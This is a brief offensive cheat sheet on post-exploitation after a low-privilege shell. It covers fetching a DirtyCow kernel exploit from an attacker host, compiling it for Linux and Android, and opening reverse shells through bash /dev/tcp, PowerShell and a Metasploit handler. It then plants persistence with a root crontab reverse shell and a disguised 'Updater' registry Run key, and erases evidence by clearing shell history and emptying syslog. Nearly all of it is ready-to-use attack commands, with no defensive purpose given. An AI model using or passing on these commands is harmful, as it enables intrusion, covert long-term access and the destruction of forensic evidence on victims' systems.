Kernel Exploitation & C2 Persistence Guide

1. Recon and Upload

Once a low-privilege shell is obtained, the goal is local privilege escalation. Common upload methods include:

- `wget` or `curl`:

  python3 -m http.server 8080

  wget http://<attacker-ip>:8080/dirtycow.c

- Netcat file transfer:

  nc -nlvp 9001 > exploit.c (attacker)

  nc <attacker-ip> 9001 < exploit.c (target)

- SCP if SSH is accessible:

  scp exploit.c user@target:/tmp

2. Compilation and Execution

Linux:

  gcc dirty.c -o dirty -pthread -lcrypt

  ./dirty

Windows:

  Use cl.exe or upload precompiled binary

Android:

  Use NDK to cross-compile and push with adb

  clang dirtycow.c -o cow -pie -fPIE

  adb push cow /data/local/tmp/

3. Post-Exploitation: Establishing C2

Kernel Exploitation & C2 Persistence Guide

Linux Reverse Shell:

```
bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
```

Windows PowerShell Reverse Shell:

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "..."
```

Netcat Listener:

```
nc -nlvp 4444
```

Metasploit:

```
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST <attacker-ip>
run
```

4. Gaining Persistence

Linux:

```
echo '* * * * * root bash -i >& /dev/tcp/<ip>/4444 0>&1' >> /etc/crontab
```

Replace system binaries with payloads

Windows:

```
reg add "HKCU\...\Run" /v "Updater" /d "cmd.exe /c start reverse.exe"
```

Android:

Embed root payload in APK

Modify init.rc scripts

5. Clean-up

Remove exploits: rm -f dirtycow

Kernel Exploitation & C2 Persistence Guide

Clear history: history -c

Clear logs: > /var/log/syslog

6. Tools for Long-Term Access

- Cobalt Strike
- Sliver
- Mythic
- SSH key insertion
- systemd persistence services